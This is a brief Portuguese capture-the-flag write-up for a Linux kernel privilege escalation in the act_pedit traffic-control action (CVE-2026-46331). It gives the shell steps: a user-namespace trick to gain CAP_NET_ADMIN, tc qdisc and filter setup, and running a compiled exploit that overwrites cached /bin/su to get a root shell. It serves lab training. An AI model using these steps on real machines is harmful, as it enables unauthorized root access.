CVE-2026-46331-pedit-cow

Write-up e etapas de exploração para a vulnerabilidade pedit COW (CVE-2026-46331).

Visão Geral

Este desafio demonstra o pedit COW, uma falha do kernel Linux na ação de edição de pacotes do subsistema de controle de tráfego (act_pedit). A vulnerabilidade permite que um usuário sem privilégios sobrescreva uma cópia em memória de um binário setuid-root, obtendo efetivamente um shell root sem nunca tocar no arquivo no disco.

Etapas de Exploração

1. Configuração Inicial

O ambiente inicia como um usuário sem privilégios (karen).

id
cd ~/packet_edit_meme
make packet_edit_meme

2. Escalação de Privilégios (Criação de Namespace) Configurar o controle de tráfego normalmente exige privilégios CAP_NET_ADMIN, que um usuário comum não possui. Eu usei namespaces de usuário sem privilégios para obter essa capacidade.

unshare -r -n

3. Configurando a Ação de Controle de Tráfego Dentro do namespace, configurei o qdisc clsact e apliquei um filtro para acionar a ação pedit.

Limpe quaisquer configurações existentes se necessário

tc qdisc del dev lo clsact

Configure o qdisc e o filtro

tc qdisc add dev lo clsact

tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64

5. Executando o Exploit Após configurar o ambiente, saí do shell root e executei o exploit como um usuário sem privilégios.

exit
./packet_edit_meme

5. Resultado Final O exploit sobrescreveu com sucesso a entrada para /bin/su, fornecendo um shell root interativo.

# cat /root/flag.txt

THM{YOUR_FLAG_HERE}